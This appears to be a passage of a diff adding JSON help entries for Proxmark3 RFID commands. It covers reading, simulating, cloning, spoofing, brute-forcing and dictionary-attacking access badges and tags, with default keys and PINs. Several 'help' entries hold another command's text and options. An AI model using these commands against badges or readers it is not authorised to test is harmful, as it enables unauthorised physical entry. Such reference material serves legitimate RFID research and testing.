-@ -> continuous reader mode", + "lf em 410x reader --clk 32 -> reader using a clock of rf/32", + "lf em 410x reader --clk 32 -i -> reader using a clock of rf/32 and inverting data", + "lf em 410x reader -i -> reader while inverting data", + "lf em 410x reader --clk 64 -i --err 0 -> reader using a clock of rf/64 and inverting data and allowing 0 demod errors" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--clk clock (default autodetect)", + "--err maximum allowed errors (default 100)", + "--len maximum length", + "-i, --invert invert output", + "-a, --amp amplify signal", + "-b break on first found", + "-@ continuous reader mode", + "-v, --verbose verbose output" + ], + "usage": "lf em 410x reader [-hiab@v] [--clk ] [--err ] [--len ]" + }, + "lf em 410x sim": { + "command": "lf em 410x sim", + "description": "enables simulation of em 410x card. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf em 410x sim --id 0f0368568b", + "lf em 410x sim --id 0f0368568b --clk 32", + "lf em 410x sim --id 0f0368568b --gap 0" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--clk <32|64> clock (default 64)", + "--id id number (5 hex bytes)", + "--gap gap (0's) between id repeats (default 20)" + ], + "usage": "lf em 410x sim [-h] [--clk ] --id [--gap ]" + }, + "lf em 410x spoof": { + "command": "lf em 410x spoof", + "description": "watch 'nd spoof, activates reader waits until a em 410x tag gets presented then proxmark3 starts simulating the found uid", + "notes": [ + "lf em 410x spoof" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "lf em 410x spoof [-h]" + }, + "lf em 410x watch": { + "command": "lf em 410x watch", + "description": "enables electro marine (em) compatible reader mode printing details of scanned tags. run until the button is pressed or another usb command is issued.", + "notes": [ + "lf em 410x watch" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "lf em 410x watch [-h]" + }, + "lf em 4x05 chk": { + "command": "lf em 4x05 chk", + "description": "this command uses a dictionary attack against em4205/4305/4469/4569", + "notes": [ + "lf em 4x05 chk", + "lf em 4x05 chk -e 000022b8 -> remember to use 0x for hex", + "lf em 4x05 chk -f t55xx_default_pwds -> use t55xx default dictionary" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file <*.dic> loads a default keys dictionary file <*.dic>", + "-e, --em try the calculated password from some cloners based on em4100 id" + ], + "usage": "lf em 4x05 chk [-h] [-f <*.dic>]... [-e ]" + }, + "lf em 4x05 demod": { + "command": "lf em 4x05 demod", + "description": "try to find em 4x05 preamble, if found decode / descramble data", + "notes": [ + "lf em 4x05 demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf em 4x05 demod [-h]" + }, + "lf em 4x05 dump": { + "command": "lf em 4x05 dump", + "description": "dump em4x05/em4x69. tag must be on antenna.", + "notes": [ + "lf em 4x05 dump", + "lf em 4x05 dump -p 11223344", + "lf em 4x05 dump -f myfile -p 11223344" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-p, --pwd password (00000000)", + "-f, --file override filename prefix (optional). default is based on uid" + ], + "usage": "lf em 4x05 dump [-h] [-p ] [-f ]" + }, + "lf em 4x05 help": { + "command": "lf em 4x05 help", + "description": "help this help demod demodulate a em4x05/em4x69 tag from the graphbuffer sniff attempt to recover em4x05 commands from sample buffer --------------------------------------------------------------------------------------- lf em 4x05 brute available offline: no this command tries to bruteforce the password of a em4205/4305/4469/4569", + "notes": [ + "note: if you get many false positives, change position on the antennalf em 4x05 brute", + "lf em 4x05 brute -n 1 -> stop after first candidate found", + "lf em 4x05 brute -s 000022b8 -> remember to use 0x for hex" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-s, --start start bruteforce enumeration from this password value", + "-n stop after having found n candidates. default: 0 => infinite" + ], + "usage": "lf em 4x05 brute [-h] [-s ] [-n ]" + }, + "lf em 4x05 info": { + "command": "lf em 4x05 info", + "description": "tag information em4205/4305/4469//4569 tags. tag must be on antenna.", + "notes": [ + "lf em 4x05 info", + "lf em 4x05 info -p 11223344" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-p, --pwd optional - password, 4 hex bytes" + ], + "usage": "lf em 4x05 info [-h] [-p ]" + }, + "lf em 4x05 read": { + "command": "lf em 4x05 read", + "description": "read em4x05/em4x69. tag must be on antenna.", + "notes": [ + "lf em 4x05 read -a 1", + "lf em 4x05 read --addr 1 --pwd 11223344" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --addr memory address to read. (0-15)", + "-p, --pwd optional - password, 4 bytes hex" + ], + "usage": "lf em 4x05 read [-h] -a [-p ]" + }, + "lf em 4x05 sniff": { + "command": "lf em 4x05 sniff", + "description": "sniff em4x05 commands sent from a programmer", + "notes": [ + "lf em 4x05 sniff -> sniff via lf sniff", + "lf em 4x05 sniff -1 -> sniff from data loaded into the buffer", + "lf em 4x05 sniff -r -> reverse the bit order when showing block data" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buf use the data in the buffer", + "-r, --rev reverse the bit order for data blocks" + ], + "usage": "lf em 4x05 sniff [-h1r]" + }, + "lf em 4x05 unlock": { + "command": "lf em 4x05 unlock", + "description": "execute tear off against em4205/4305/4469/4569", + "notes": [ + "lf em 4x05 unlock", + "lf em 4x05 unlock -s 4100 -e 4100 -> lock on and autotune at 4100us", + "lf em 4x05 unlock -n 10 -s 3000 -e 4400 -> scan delays 3000us -> 4400us" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n steps to skip", + "-s, --start start scan from delay (us)", + "-e, --end end scan at delay (us)", + "-p, --pwd password (def 00000000)", + "-v, --verbose verbose output" + ], + "usage": "lf em 4x05 unlock [-hv] [-n ] [-s ] [-e ] [-p ]" + }, + "lf em 4x05 wipe": { + "command": "lf em 4x05 wipe", + "description": "wipe em4x05/em4x69. tag must be on antenna.", + "notes": [ + "lf em 4x05 wipe --4305 -p 11223344 -> wipe em 4305 w pwd", + "lf em 4x05 wipe --4205 -> wipe em 4205", + "lf em 4x05 wipe --4369 -> wipe em 4369" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--4205 target chip type em 4205", + "--4305 target chip type em 4305 (default)", + "--4369 target chip type em 4369", + "--4369 target chip type em 4469", + "-p, --pwd optional - password, 4 bytes hex" + ], + "usage": "lf em 4x05 wipe [-h] [--4205] [--4305] [--4369] [--4369] [-p ]" + }, + "lf em 4x05 write": { + "command": "lf em 4x05 write", + "description": "write em4x05/em4x69. tag must be on antenna.", + "notes": [ + "lf em 4x05 write -a 1 -d deadc0de", + "lf em 4x05 write --addr 1 --pwd 11223344 --data deadc0de", + "lf em 4x05 write --po --pwd 11223344 --data deadc0de" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --addr memory address to write to. (0-13)", + "-d, --data data to write (4 hex bytes)", + "-p, --pwd password (4 hex bytes)", + "--po protect operation" + ], + "usage": "lf em 4x05 write [-h] [-a ] -d [-p ] [--po]" + }, + "lf em 4x50 chk": { + "command": "lf em 4x50 chk", + "description": "dictionary attack against em4x50.", + "notes": [ + "lf em 4x50 chk -> uses t55xx default dictionary", + "lf em 4x50 chk -f my.dic" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --filename dictionary filename" + ], + "usage": "lf em 4x50 chk [-h] [-f ]" + }, + "lf em 4x50 dump": { + "command": "lf em 4x50 dump", + "description": "reads all blocks/words from em4x50 tag and saves dump in bin/eml/json format", + "notes": [ + "lf em 4x50 dump", + "lf em 4x50 dump -f mydump", + "lf em 4x50 dump -p 12345678", + "lf em 4x50 dump -f mydump -p 12345678" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --filename dump filename (bin/eml/json)", + "-p, --pwd password, 4 hex bytes, lsb" + ], + "usage": "lf em 4x50 dump [-h] [-f ] [-p ]" + }, + "lf em 4x50 eload": { + "command": "lf em 4x50 eload", + "description": "loads em4x50 tag dump (bin/eml/json) into emulator memory on device", + "notes": [ + "lf em 4x50 eload -f mydump.bin" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --filename dump filename (bin/eml/json)" + ], + "usage": "lf em 4x50 eload [-h] -f " + }, + "lf em 4x50 esave": { + "command": "lf em 4x50 esave", + "description": "saves bin/eml/json dump file of emulator memory.", + "notes": [ + "lf em 4x50 esave -> use uid as filename", + "lf em 4x50 esave -f mydump" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --filename data filename" + ], + "usage": "lf em 4x50 esave [-h] [-f ]" + }, + "lf em 4x50 eview": { + "command": "lf em 4x50 eview", + "description": "displays em4x50 content of emulator memory.", + "notes": [ + "lf em 4x50 eview" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "lf em 4x50 eview [-h]" + }, + "lf em 4x50 help": { + "command": "lf em 4x50 help", + "description": "help this help --------------------------------------------------------------------------------------- lf em 4x50 brute available offline: no tries to bruteforce the password of a em4x50. function can be stopped by pressing pm3 button.", + "notes": [ + "lf em 4x50 brute --first 12330000 --last 12340000 -> tries pwds from 0x12330000 to 0x1234000000" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--first first password (start), 4 bytes, lsb", + "--last last password (stop), 4 bytes, lsb" + ], + "usage": "lf em 4x50 brute [-h] --first --last " + }, + "lf em 4x50 info": { + "command": "lf em 4x50 info", + "description": "tag information em4x50.", + "notes": [ + "lf em 4x50 info", + "lf em 4x50 info -v -> show data section", + "lf em 4x50 info -p 12345678 -> uses pwd 0x12345678" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-p, --pwd password, 4 hex bytes, lsb", + "-v, --verbose additional output of data section" + ], + "usage": "lf em 4x50 info [-hv] [-p ]" + }, + "lf em 4x50 login": { + "command": "lf em 4x50 login", + "description": "login into em4x50 tag.", + "notes": [ + "lf em 4x50 login -p 12345678 -> login with password 12345678" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-p, --passsword password, 4 bytes, lsb" + ], + "usage": "lf em 4x50 login [-h] -p " + }, + "lf em 4x50 rdbl": { + "command": "lf em 4x50 rdbl", + "description": "reads single em4x50 block/word.", + "notes": [ + "lf em 4x50 rdbl -b 3", + "lf em 4x50 rdbl -b 32 -p 12345678 -> reads block 32 with pwd 0x12345678" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --block block/word address", + "-p, --pwd password, 4 hex bytes, lsb" + ], + "usage": "lf em 4x50 rdbl [-h] -b [-p ]" + }, + "lf em 4x50 reader": { + "command": "lf em 4x50 reader", + "description": "shows standard read data of em4x50 tag.", + "notes": [ + "lf em 4x50 reader", + "lf em 4x50 reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf em 4x50 reader [-h@]" + }, + "lf em 4x50 restore": { + "command": "lf em 4x50 restore", + "description": "restores data from dumpfile (bin/eml/json) onto a em4x50 tag. if used with -u, the filetemplate `lf-4x50-uid-dump.bin` is used as filename", + "notes": [ + "lf em 4x50 restore -u 1b5aff5c -> uses lf-4x50-1b5aff5c-dump.bin", + "lf em 4x50 restore -f mydump.eml", + "lf em 4x50 restore -u 1b5aff5c -p 12345678", + "lf em 4x50 restore -f mydump.eml -p 12345678" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid uid, 4 hex bytes, msb", + "-f, --filename dump filename (bin/eml/json)", + "-p, --pwd password, 4 hex bytes, lsb" + ], + "usage": "lf em 4x50 restore [-h] [-u ] [-f ] [-p ]" + }, + "lf em 4x50 sim": { + "command": "lf em 4x50 sim", + "description": "simulates a em4x50 tag first upload to device using `lf em 4x50 eload`", + "notes": [ + "lf em 4x50 sim", + "lf em 4x50 sim -p 27182818 -> uses password for eload data" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-p, --passsword password, 4 bytes, lsb" + ], + "usage": "lf em 4x50 sim [-h] [-p ]" + }, + "lf em 4x50 wipe": { + "command": "lf em 4x50 wipe", + "description": "wipes em4x50 tag by filling it with zeros, including the new password must give a password.", + "notes": [ + "lf em 4x50 wipe -p 12345678" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-p, --passsword password, 4 bytes, lsb" + ], + "usage": "lf em 4x50 wipe [-h] -p " + }, + "lf em 4x50 wrbl": { + "command": "lf em 4x50 wrbl", + "description": "writes single block/word to em4x50 tag.", + "notes": [ + "lf em 4x50 wrbl -b 3 -d 4f22e7ff", + "lf em 4x50 wrbl -b 3 -d 4f22e7ff -p 12345678" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --block block/word address, dec", + "-d, --data data, 4 bytes, lsb", + "-p, --pwd password, 4 bytes, lsb" + ], + "usage": "lf em 4x50 wrbl [-h] -b -d [-p ]" + }, + "lf em 4x50 writepwd": { + "command": "lf em 4x50 writepwd", + "description": "writes em4x50 password.", + "notes": [ + "lf em 4x50 writepwd -p 4f22e7ff -n 12345678" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-p, --pwd password, 4 hex bytes, lsb", + "-n, --new new password, 4 hex bytes, lsb" + ], + "usage": "lf em 4x50 writepwd [-h] -p -n " + }, + "lf em 4x70 auth": { + "command": "lf em 4x70 auth", + "description": "authenticate against an em4x70 by sending random number (rn) and f(rn) if f(rn) is incorrect based on the tag crypt key, the tag will not respond", + "notes": [ + "lf em 4x70 auth --rnd 45f54ada252aac --frn 4866bb70 -> test authentication, tag will respond if successful" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--par add parity bit when sending commands", + "--rnd random 56-bit", + "--frn f(rn) 28-bit as 4 hex bytes" + ], + "usage": "lf em 4x70 auth [-h] [--par] --rnd --frn " + }, + "lf em 4x70 help": { + "command": "lf em 4x70 help", + "description": "help this help --------------------------------------------------------------------------------------- lf em 4x70 info available offline: no tag information em4x70 tag variants include id48 automotive transponder. id48 does not use command parity (default). v4070 and em4170 do require parity bit.", + "notes": [ + "lf em 4x70 info", + "lf em 4x70 info --par -> adds parity bit to command" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--par add parity bit when sending commands" + ], + "usage": "lf em 4x70 info [-h] [--par]" + }, + "lf em 4x70 unlock": { + "command": "lf em 4x70 unlock", + "description": "unlock em4x70 by sending pin default pin may be: aaaaaaaa 00000000", + "notes": [ + "lf em 4x70 unlock -p 11223344 -> unlock with pin", + "lf em 4x70 unlock -p 11223344 --par -> unlock with pin using parity commands" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--par add parity bit when sending commands", + "-p, --pin pin, 4 bytes" + ], + "usage": "lf em 4x70 unlock [-h] [--par] -p " + }, + "lf em 4x70 write": { + "command": "lf em 4x70 write", + "description": "write em4x70", + "notes": [ + "lf em 4x70 write -b 15 -d c0de -> write 'c0de' to block 15", + "lf em 4x70 write -b 15 -d c0de --par -> adds parity bit to commands" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--par add parity bit when sending commands", + "-b, --block block/word address, dec", + "-d, --data data, 2 bytes" + ], + "usage": "lf em 4x70 write [-h] [--par] -b -d " + }, + "lf em 4x70 writekey": { + "command": "lf em 4x70 writekey", + "description": "write new 96-bit key to tag", + "notes": [ + "lf em 4x70 writekey -k f32aa98cf5be4adfa6d3480b" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--par add parity bit when sending commands", + "-k, --key crypt key as 12 hex bytes" + ], + "usage": "lf em 4x70 writekey [-h] [--par] -k " + }, + "lf em 4x70 writepin": { + "command": "lf em 4x70 writepin", + "description": "write pin", + "notes": [ + "lf em 4x70 writepin -p 11223344 -> write pin", + "lf em 4x70 writepin -p 11223344 --par -> write pin using parity commands" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--par add parity bit when sending commands", + "-p, --pin pin, 4 bytes" + ], + "usage": "lf em 4x70 writepin [-h] [--par] -p " + }, + "lf em help": { + "command": "lf em help", + "description": "help this help 410x { em 4102 commands... } 4x05 { em 4205 / 4305 / 4369 / 4469 commands... } 4x50 { em 4350 / 4450 commands... } 4x70 { em 4070 / 4170 commands... } ======================================================================================= lf em 410x { em 4102 commands... } --------------------------------------------------------------------------------------- lf em 410x help available offline: yes help this help demod demodulate a em410x tag from the graphbuffer --------------------------------------------------------------------------------------- lf em 410x demod available offline: yes try to find em 410x preamble, if found decode / descramble data", + "notes": [ + "lf em 410x demod -> demod an em410x tag id from graphbuffer", + "lf em 410x demod --clk 32 -> demod an em410x tag id from graphbuffer using a clock of rf/32", + "lf em 410x demod --clk 32 -i -> demod an em410x tag id from graphbuffer using a clock of rf/32 and inverting data", + "lf em 410x demod -i -> demod an em410x tag id from graphbuffer while inverting data", + "lf em 410x demod --clk 64 -i --err 0 -> demod an em410x tag id from graphbuffer using a clock of rf/64 and inverting data and allowing 0 demod errors" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--clk clock (default autodetect)", + "--err maximum allowed errors (default 100)", + "--len maximum length", + "-i, --invert invert output", + "-a, --amp amplify signal" + ], + "usage": "lf em 410x demod [-hia] [--clk ] [--err ] [--len ]" + }, + "lf fdxb clone": { + "command": "lf fdxb clone", + "description": "clone a fdx-b tag to a t55x7, q5/t5555 or em4305/4469 tag.", + "notes": [ + "lf fdxb clone --country 999 --national 1337 --animal", + "lf fdxb clone --country 999 --national 1337 --extended 016a", + "lf fdxb clone --q5 --country 999 --national 1337 -> encode for q5/t5555 tag", + "lf fdxb clone --em --country 999 --national 1337 -> encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-c, --country country code", + "-n, --national national code", + "--extended extended data", + "-a, --animal optional - set animal bit", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf fdxb clone [-ha] -c -n [--extended ] [--q5] [--em]" + }, + "lf fdxb help": { + "command": "lf fdxb help", + "description": "help this help demod demodulate a fdx-b iso11784/85 tag from the graphbuffer --------------------------------------------------------------------------------------- lf fdxb demod available offline: yes try to find fdx-b preamble, if found decode / descramble data", + "notes": [ + "lf fdxb demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf fdxb demod [-h]" + }, + "lf fdxb reader": { + "command": "lf fdxb reader", + "description": "read a fdx-b animal tag note that the continuous mode is less verbose", + "notes": [ + "lf fdxb reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf fdxb reader [-h@]" + }, + "lf fdxb sim": { + "command": "lf fdxb sim", + "description": "enables simulation of fdx-b animal tag. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf fdxb sim --country 999 --national 1337 --animal", + "lf fdxb sim --country 999 --national 1337 --extended 016a" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-c, --country country code", + "-n, --national national code", + "--extended extended data", + "-a, --animal optional - set animal bit" + ], + "usage": "lf fdxb sim [-ha] -c -n [--extended ]" + }, + "lf gallagher clone": { + "command": "lf gallagher clone", + "description": "clone a gallagher tag to a t55x7, q5/t5555 or em4305/4469 tag.", + "notes": [ + "lf gallagher clone --raw 0ffd5461a9da1346b2d1ac32", + "lf gallagher clone --q5 --raw 0ffd5461a9da1346b2d1ac32 -> encode for q5/t5555 tag", + "lf gallagher clone --em --raw 0ffd5461a9da1346b2d1ac32 -> encode for em4305/4469", + "lf gallagher clone --rc 0 --fc 9876 --cn 1234 --il 1" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw hex data. 12 bytes max", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag", + "--rc region code. 4 bits max", + "--fc facility code. 2 bytes max", + "--cn card number. 3 bytes max", + "--il issue level. 4 bits max" + ], + "usage": "lf gallagher clone [-h] [-r ] [--q5] [--em] [--rc ] [--fc ] [--cn ] [--il ]" + }, + "lf gallagher help": { + "command": "lf gallagher help", + "description": "help this help demod demodulate an gallagher tag from the graphbuffer --------------------------------------------------------------------------------------- lf gallagher demod available offline: yes try to find gallagher preamble, if found decode / descramble data", + "notes": [ + "lf gallagher demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf gallagher demod [-h]" + }, + "lf gallagher reader": { + "command": "lf gallagher reader", + "description": "read a gallagher tag", + "notes": [ + "lf gallagher reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf gallagher reader [-h@]" + }, + "lf gallagher sim": { + "command": "lf gallagher sim", + "description": "enables simulation of gallagher card with specified card number. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf gallagher sim --raw 0ffd5461a9da1346b2d1ac32", + "lf gallagher sim --rc 0 --fc 9876 --cn 1234 --il 1" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw hex data. 12 bytes max", + "--rc region code. 4 bits max", + "--fc facility code. 2 bytes max", + "--cn card number. 3 bytes max", + "--il issue level. 4 bits max" + ], + "usage": "lf gallagher sim [-h] [-r ] [--rc ] [--fc ] [--cn ] [--il ]" + }, + "lf gproxii clone": { + "command": "lf gproxii clone", + "description": "clone a guardall tag to a t55x7, q5/t5555 or em4305/4469 tag. the facility-code is 8-bit and the card number is 16-bit. larger values are truncated. currently work only on 26bit", + "notes": [ + "lf gproxii clone --fmt 26 --fc 123 --cn 1337", + "lf gproxii clone --q5 --fmt 26 --fc 123 --cn 1337 -> encode for q5/t5555 tag", + "lf gproxii clone --em --fmt 26 --fc 123 --cn 1337 -> encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--fmt format length 26|32|36|40", + "--fc 8-bit value facility code", + "--cn 16-bit value card number", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf gproxii clone [-h] --fmt --fc --cn [--q5] [--em]" + }, + "lf gproxii help": { + "command": "lf gproxii help", + "description": "help this help demod demodulate a g prox ii tag from the graphbuffer --------------------------------------------------------------------------------------- lf gproxii demod available offline: yes try to find guardall prox-ii preamble, if found decode / descramble data", + "notes": [ + "lf gproxii demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf gproxii demod [-h]" + }, + "lf gproxii reader": { + "command": "lf gproxii reader", + "description": "read a guardall tag", + "notes": [ + "lf gproxii reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf gproxii reader [-h@]" + }, + "lf gproxii sim": { + "command": "lf gproxii sim", + "description": "enables simulation of guardall card with specified card number. simulation runs until the button is pressed or another usb command is issued. the facility-code is 8-bit and the card number is 16-bit. larger values are truncated. currently work only on 26bit", + "notes": [ + "lf gproxii sim --fmt 26 --fc 123 --cn 1337" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--fmt format length 26|32|36|40", + "--fc 8-bit value facility code", + "--cn 16-bit value card number" + ], + "usage": "lf gproxii sim [-h] --fmt --fc --cn " + }, + "lf help": { + "command": "lf help", + "description": "help this help ----------- -------------- low frequency -------------- awid { awid rfids... } cotag { cotag chips... } destron { fdx-a destron rfids... } em { em chips & rfids... } fdxb { fdx-b rfids... } gallagher { gallagher rfids... } gproxii { guardall prox ii rfids... } hid { hid prox rfids... } hitag { hitag chips... } idteck { idteck rfids... } indala { indala rfids... } io { ioprox rfids... } jablotron { jablotron rfids... } keri { keri rfids... } motorola { motorola rfids... } nedap { nedap rfids... } nexwatch { nexwatch rfids... } noralsy { noralsy rfids... } pac { pac/stanley rfids... } paradox { paradox rfids... } pcf7931 { pcf7931 chips... } presco { presco rfids... } pyramid { farpointe/pyramid rfids... } securakey { securakey rfids... } ti { ti chips... } t55xx { t55xx chips... } viking { viking rfids... } visa2000 { visa2000 rfids... } ----------- --------------------- general --------------------- search read and search for valid known tag --------------------------------------------------------------------------------------- lf config available offline: no get/set config for lf sampling, bit/sample, decimation, frequency these changes are temporary, will be reset after a power cycle. - use `lf read` performs a read (active field) - use `lf sniff` performs a sniff (no active field)", + "notes": [ + "lf config -> shows current config", + "lf config -b 8 --125 -> samples at 125 khz, 8 bps", + "lf config -b 4 --134 --dec 3 -> samples at 134 khz, averages three samples into one, stored with a resolution of 4 bits per sample", + "lf config --trig 20 -s 10000 -> trigger sampling when above 20, skip 10 000 first samples after triggered" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--125 125 khz frequency", + "--134 134 khz frequency", + "-a, --avg <0|1> averaging - if set, will average the stored sample value when decimating (default 1)", + "-b, --bps <1-8> sets resolution of bits per sample (default 8)", + "--dec <1-8> sets decimation. a value of n saves only 1 in n samples (default 1)", + "--divisor <19-255> manually set freq divisor. 88 -> 134 khz, 95 -> 125 khz", + "-f, --freq <47-600> manually set frequency in khz", + "-r, --reset reset values to defaults", + "-s, --skip sets a number of samples to skip before capture (default 0)", + "-t, --trig <0-128> sets trigger threshold. 0 means no threshold" + ], + "usage": "lf config [-hr] [--125] [--134] [-a <0|1>] [-b <1-8>] [--dec <1-8>] [--divisor <19-255>] [-f <47-600>] [-s ] [-t <0-128>]" + }, + "lf hid brute": { + "command": "lf hid brute", + "description": "enables bruteforce of hid readers with specified facility code. this is a attack against reader. if cardnumber is given, it starts with it and goes up / down one step if cardnumber is not given, it starts with 1 and goes up to 65535", + "notes": [ + "lf hid brute -w h10301 --fc 224", + "lf hid brute -w h10301 --fc 21 -d 2000", + "lf hid brute -v -w h10301 --fc 21 --cn 200 -d 2000", + "lf hid brute -v -w h10301 --fc 21 --cn 200 -d 2000 --up" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose verbose logging, show all tries", + "-w, --wiegand see `wiegand list` for available formats", + "--fc facility code", + "--cn card number to start with", + "-i, --issue issue level", + "-o, --oem oem code", + "-d, --delay delay betweens attempts in ms. default 1000ms", + "--up direction to increment card number. (default is both directions)", + "--down direction to decrement card number. (default is both directions)" + ], + "usage": "lf hid brute [-hv] -w [--fc ] [--cn ] [-i ] [-o ] [-d ] [--up] [--down]" + }, + "lf hid clone": { + "command": "lf hid clone", + "description": "clone a hid prox tag to a t55x7, q5/t5555 or em4305/4469 tag. tag must be on the antenna when issuing this command.", + "notes": [ + "lf hid clone -r 2006ec0c86 -> write raw value (hid 10301 26 bit)", + "lf hid clone -r 2e0ec00c87 -> write raw value (hid corporate 35 bit)", + "lf hid clone -r 01f0760643c3 -> write raw value (hid p10001 40 bit)", + "lf hid clone -r 01400076000c86 -> write raw value (hid corporate 48 bit)", + "lf hid clone -w h10301 --fc 118 --cn 1603 -> write raw value (hid 10301 26 bit)", + "lf hid clone -w h10301 --fc 118 --cn 1603 --q5 -> hid 10301 26 bit, encode for q5/t5555 tag", + "lf hid clone -w h10301 --fc 118 --cn 1603 --em -> hid 10301 26 bit, encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-w, --wiegand see `wiegand list` for available formats", + "--fc facility code", + "--cn card number", + "-i issue level", + "-o, --oem oem code", + "-r, --raw raw bytes", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag", + "--bin binary string i.e 0001001001" + ], + "usage": "lf hid clone [-h] [-w ] [--fc ] [--cn ] [-i ] [-o ] [-r ]... [--q5] [--em] [--bin ]" + }, + "lf hid help": { + "command": "lf hid help", + "description": "help this help demod demodulate hid prox tag from the graphbuffer --------------------------------------------------------------------------------------- lf hid demod available offline: yes try to find hid prox preamble, if found decode / descramble data", + "notes": [ + "lf hid demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf hid demod [-h]" + }, + "lf hid reader": { + "command": "lf hid reader", + "description": "read a hid prox tag", + "notes": [ + "lf hid reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf hid reader [-h@]" + }, + "lf hid sim": { + "command": "lf hid sim", + "description": "enables simulation of hid card with card number. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf hid sim -r 2006ec0c86 -> hid 10301 26 bit", + "lf hid sim -r 2e0ec00c87 -> hid corporate 35 bit", + "lf hid sim -r 01f0760643c3 -> hid p10001 40 bit", + "lf hid sim -r 01400076000c86 -> hid corporate 48 bit", + "lf hid sim -w h10301 --fc 118 --cn 1603 -> hid 10301 26 bit" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-w, --wiegand see `wiegand list` for available formats", + "--fc facility code", + "--cn card number", + "-i issue level", + "-o, --oem oem code", + "-r, --raw raw bytes" + ], + "usage": "lf hid sim [-h] [-w ] [--fc ] [--cn ] [-i ] [-o ] [-r ]..." + }, + "lf hid watch": { + "command": "lf hid watch", + "description": "enables hid compatible reader mode printing details. by default, values are printed and logged until the button is pressed or another usb command is issued.", + "notes": [ + "lf hid watch" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "lf hid watch [-h]" + }, + "lf hitag cc": { + "command": "lf hitag cc", + "description": "check challenges, load a file with saved hitag crypto challenges and test them all. the file should be 8 * 60 bytes long, the file extension defaults to `.cc`", + "notes": [ + "lf hitag cc -f my_hitag_challenges" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --filename filename to load from" + ], + "usage": "lf hitag cc [-h] [-f ]" + }, + "lf hitag dump": { + "command": "lf hitag dump", + "description": "read all card memory and save to filein password mode the default key is 4d494b52 (mikr) in crypto mode the default key is 4f4e4d494b52 (onmikr) format: isk high + isk low.", + "notes": [ + "lf hitag dump -k 4f4e4d494b52", + "lf hitag dump -k 4d494b52" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file file name", + "-k, --key key, 4 or 6 hex bytes", + "--nrar nonce / answer reader, 8 hex bytes" + ], + "usage": "lf hitag dump [-h] [-f ] [-k ] [--nrar ]" + }, + "lf hitag help": { + "command": "lf hitag help", + "description": "help this help list list hitag trace history --------------------------------------------------------------------------------------- lf hitag eload available offline: no loads hitag tag dump into emulator memory on device", + "notes": [ + "lf hitag eload -f lf-hitag-11223344-dump.bin" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file 